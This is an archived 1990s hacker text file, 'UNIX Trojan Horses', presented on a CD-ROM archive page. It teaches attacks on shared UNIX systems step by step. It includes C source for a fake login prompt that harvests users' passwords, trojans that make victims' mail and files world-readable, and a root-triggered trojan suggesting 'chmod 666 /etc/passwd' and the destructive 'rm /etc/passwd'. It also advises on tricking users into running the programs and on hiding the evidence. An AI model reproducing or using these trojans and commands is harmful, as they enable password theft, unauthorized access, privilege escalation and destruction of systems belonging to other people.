home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / trojans / Unix trojans.txt < prev   
Text File  |  1997-06-10  |  12KB  |  327 lines
  1.                               ------------------
  2.                               UNIX Trojan Horses
  3.                               ------------------
  4.  
  5. Introduction
  6. ------------
  7.  
  8.      "UNIX Security" is an oxymoron.  It's an easy system to bruteforce hack
  9. (most UNIX systems don't hang up after x number of login tries, and there are
  10. a number of default logins, such as root, bin, sys and uucp).  Once you're in
  11. the system, you can easily bring it to its knees or, if you know a little 'C',
  12. you can make the system work for you and totally eliminate the security
  13. barriers to creating your own logins, reading anybody's files, etcetera.  This
  14. file will outline such ways by presenting 'C' code that you can implement
  15. yourself.
  16.  
  17. Requirements
  18. ------------
  19.      You'll need a working account on a UNIX system.  It should be a fairly
  20. robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real
  21. machine (a PDP/11, VAX, Pyramid, etc.) for the best results.  If you go to
  22. school and have an account on the school system, that will do perfectly.
  23.  
  24. Notes
  25. -----
  26.      This file was inspired an article in the April, '86 issue of BYTE
  27. entitled "Making UNIX Secure."  In the article, the authors say "We provide
  28. this information in a way that, we hope, is interesting and useful yet stops
  29. short of being a 'cookbook for crackers.'  We have often intentionally omitted
  30. details."  I am following the general outline of the article, giving explicit
  31. examples of the methods they touched on.
  32.  
  33.  
  34. Project One:  Fishing For Passwords
  35. -----------------------------------
  36.  
  37.      You can implement this with only a minimal knowledge of UNIX and C.
  38. However, you need access to a terminal that many people use - the computer lab
  39. at your school, for example.
  40.  
  41.      When you log onto a typical UNIX system, you see something like this:
  42.  
  43. Tiburon Systems 4.2bsd / System V (shark)
  44.  
  45.  
  46. login: shark
  47. Password:      (not printed)
  48.  
  49.      The program I'm giving you here simulates a logon sequence.  You run the
  50. program from a terminal and then leave.  Some unknowing fool will walk up and
  51. enter their login and password.  It is written to a file of yours, then "login
  52. incorrect" is printed, then the fool is asked to log in again.  The second
  53. time it's the real login program.  This time the person succeeds and they are
  54. none the wiser.
  55.  
  56.      On the system, put the following code into a file called 'horse.c'.  You
  57. will need to modify the first 8 lines to fit your system's appearance.
  58.  
  59.  
  60. ----- Code Begins Here -----
  61.  
  62. /* this is what a 'C' comment looks like.  You can leave them out. */
  63.  
  64. /* #define's are like macros you can use for configuration. */
  65.  
  66. #define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
  67.  
  68. /* The above string should be made to look like the message that your
  69.  * system prints when ready.  Each \n represents a carriage return.
  70.  */
  71.  
  72. #define LOGIN  "login: "
  73.  
  74. /* The above is the login prompt.  You shouldn't have to change it
  75.  * unless you're running some strange version of UNIX.
  76.  */
  77.  
  78. #define PASSWORD "password:"
  79.  
  80. /* The above is the password prompt.  You shouldn't have to change
  81.  * it, either.
  82.  */
  83.  
  84. #define WAIT 2
  85.  
  86. /* The numerical value assigned to WAIT is the delay you get after
  87.  * "password:" and before "login incorrect."  Change it (0 = almost
  88.  * no delay, 5 = LONG delay) so it looks like your system's delay.
  89.  * realism is the key here - we don't want our target to become
  90.  * suspicious.
  91.  */
  92.  
  93.  
  94. #define INCORRECT "Login incorrect.\n"
  95.  
  96. /* Change the above so it is what your system says when an incorrect
  97.  * login is given.  You shouldn't have to change it.
  98.  */
  99.  
  100. #define FILENAME "stuff"
  101.  
  102. /* FILENAME is the name of the file that the hacked passwords will
  103.  * be put into automatically.  'stuff' is a perfectly good name.
  104.  */
  105.  
  106. /* Don't change the rest of the program unless there is a need to
  107.  * and you know 'C'.
  108.  */
  109.  
  110. #include <curses.h>
  111. #include <signal.h>
  112. int stop();
  113.  
  114. main()
  115. {
  116. char name[10], password[10];
  117. int i;
  118. FILE *fp, *fopen();
  119. signal(SIGINT,stop);
  120. initscr();
  121. printf(SYSTEM);
  122. printf(LOGIN);
  123. scanf("%[^\n]",name);
  124. getchar();
  125. noecho();
  126. printf(PASSWORD);
  127. scanf("%[^\n]",password);
  128. printf("\n");
  129. getchar();
  130. echo();
  131. sleep(WAIT);
  132.  
  133.  
  134. if ( ( fp = fopen(FILENAME,"a") )  != NULL ) {
  135. #fprintf(fp,"login %s has password %s\n",name,password);
  136. #fclose(fp);
  137. #}
  138.  
  139. printf(INCORRECT);
  140. endwin();
  141. }
  142.  
  143. stop()
  144. {
  145. endwin();
  146. exit(0);
  147. }
  148.  
  149.  
  150. ----- Source Ends Here -----
  151.  
  152.      OK, as I said, enter the above and configure it so it looks exactly like
  153. your system's login sequence.  To compile this program called 'horse.c' type
  154. the following two lines: (don't type the %'s, they are just a sample prompt)
  155.  
  156. % cc horse.c -lcurses -ltermcap
  157. % mv a.out horse
  158.  
  159. You now have the working object code in a file called 'horse'.  Run it, and if
  160. it doesn't look like your systems logon sequence, re-edit horse.c and
  161. recomplie it.  When you're ready to put the program into use, create a new
  162. file and call it 'trap' or something.  'trap' should have these two commands:
  163.  
  164. horse                    (this runs your program)
  165. login                    (this runs the real login program)
  166.  
  167. to execute 'trap' type:
  168.  
  169. % source trap            (again, don't type the %)
  170.  
  171. and walk away from your terminal...
  172.  
  173. After you've run it successfully a few times, check your file called
  174. 'stuff' (or whatever you decided to call it).  It will look like this:
  175.  
  176. user john has password secret
  177. user mary has password smegma
  178. etc.
  179.  
  180. Copy down these passwords, then delete this file (it can be VERY incriminating
  181. if the superuser sees it).
  182.  
  183. Note - for best results your terminal should be set to time-out after a few
  184. minutes of non-use - that way, your horse program doesn't run idle for 14
  185. hours if nobody uses the terminal you ran it on.
  186.  
  187. -----
  188.  
  189. The next projects can be run on a remote system, such as the VAX in Michigan
  190. you've hacked into, or Dartmouth's UNIX system, or whatever.  However, they
  191. require a little knowledge of the 'C' language.  They're not something for
  192. UNIX novices.
  193.  
  194. Project Two:  Reading Anybody's Files
  195. -------------------------------------
  196.  
  197. When somebody runs a program, they're the owner of the process created and
  198. that program can do anything they would do, such as delete a file in their
  199. directory or making a file of theirs available for reading by anybody.
  200.  
  201. When people save old mail they get on a UNIX system, it's put into a file
  202. called mbox in their home directory.  This file can be fun to read but is
  203. usually impossible for anybody but the file's owner to read.  Here is a short
  204. program that will unlock (i.e. chmod 777, or let anybody on the system read,
  205. write or execute) the mbox file of the person who runs the program:
  206.  
  207. ----- Code Begins Here -----
  208.  
  209. #include <pwd.h>
  210.  
  211. struct passwd *getpwnam(name);
  212. struct passwd *p;
  213. char buf[255];
  214.  
  215. main()
  216. {
  217. p = getpwnam(getlogin());
  218. sprintf(buf,"%s/%s",p->pw_dir,"mbox");
  219. if ( access(buf,0) > -1 ) {
  220.         sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
  221.         system(buf);
  222.         }
  223. }
  224.  
  225. ----- Code Ends Here -----
  226.  
  227. So the question is:  How do I get my target to run this program that's
  228. in my directory?
  229.  
  230. If the system you're on has a public-messages type of thing (on 4.xbsd, type
  231. 'msgs') you can advertise your program there.  Put the above code in another
  232. program - find a utility or game program in some magazine like UNIX WORLD and
  233. modify it and do the above before it does it's real thing.  So if you have a
  234. program called tic-tac-toe and you've modified it to unlock the mbox file of
  235. the user before it plays tic-tac-toe with him, advertise "I have a new tic-
  236. tac-toe program running that you should all try.  It's in my directory." or
  237. whatever.  If you don't have means of telling everybody on the system via a
  238. public message, then just send mail to the specific people you want to trap.
  239.  
  240. If you can't find a real program to modify, just take the above program and
  241. add this line between the two '}' lines at the end of the program:
  242.  
  243. printf("Error opening tic-tac-toe data file.  Sorry!\n");
  244.  
  245. when the program runs, it will print the above error message.  The user will
  246. think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!"
  247. but the joke's on him - you can now read his mail.
  248.  
  249. If there's a specific file in a user's directory that you'd like to read (say
  250. it's called "secret") just throw together this general program:
  251.  
  252.  
  253. main()
  254. {
  255. if ( access("secret",0) > -1 ) system("chmod 777 secret");
  256. }
  257.  
  258. then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
  259. called super_star_wars, will you try it out?"
  260.  
  261. You can use your imagination.  Think of a command you'd like somebody to
  262. execute.  Then put it inside a system() call in a C program and trick them
  263. into running your program!
  264.  
  265. Here's a very neat way of using the above technique:
  266.  
  267. Project Three: Become the superuser
  268. -----------------------------------
  269.  
  270. Write a program that you can get people to run.  Put this line in it
  271. somewhere:
  272.  
  273. if ( !strcmp(getlogin(),"root") ) system("whatever you want");
  274.  
  275. This checks to see if the root login is running your program.  If he is, you
  276. can have him execute any shell command you'd like.  Here are some suggestions:
  277.  
  278. "chmod 666 /etc/passwd"
  279.  
  280.      /etc/passwd is the system's password file.  The root owns this file.
  281. Normally, everyone can read it (the passwords are encrypted) but only the root
  282. can write to it.  Take a look at it and see how it's formatted if you don't
  283. know already.  This command makes it possible for you to now write to the file
  284. - i.e. create unlimited accounts for yourself and your friends.
  285.  
  286. "chmod 666 /etc/group"
  287.  
  288.      By adding yourelf to some high-access groups, you can open many
  289. doors.
  290.  
  291. "chmod 666 /usr/lib/uucp/L.sys"
  292.  
  293.      Look for this file on your system if it is on the uucp net.  It contains
  294. dialups and passwords to other systems on the net, and normally only the uucp
  295. administrator can read it.  Find out who owns this file and get him to
  296. unknowingly execute a program to unlock it for you.
  297.  
  298. "rm /etc/passwd"
  299.  
  300.      If you can get the root to execute this command, the system's passwd file
  301. will be removed and the system will go down and will not come up for some time
  302. to come.  This is very destructive.
  303.  
  304. -----
  305.  
  306. If you are going to go about adding a trojan horse program to the system,
  307. there are some rules you should follow.  If the hidden purpose is something
  308. major (such as unlocking the user's mbox or deleting all of his files or
  309. something) this program shouldn't be a program that people will be running a
  310. lot (such as a popular computer game) - once people discover that their files
  311. are public access the source of the problem will be discovered quite easily.
  312. Save this purpose for a 'test' program (such as a game you're in the process
  313. of writing) that you ask individual people to run via mail or 'chatting' with
  314. them.  As I said, this 'test' program can bomb or print a phony error message
  315. after completing its task, and you will just tell the person "well, I guess
  316. it needs more work", wait until they log off, and then read whatever file of
  317. theirs that you've unlocked.  If your trojan horse program's sole purpose is
  318. to catch a specific user running it - such as the root or other high-powered
  319. user - you can put the code to do so in a program that will be run a lot by
  320. various users of the system.  Your modification will remain dormant until he
  321. runs it.  If you cant find the source to 'star trek' or whatever in C, just
  322. learn C and convert something from pascal.  It can't hurt to learn C as it's a
  323. great language.  We've just seen what it can do on a UNIX system.  Once you've
  324. caught the root (i.e. you can now modify the /etc/passwd file) remove the
  325. spurious code from your trojan horse program and you'll never be caught.
  326.  
  327.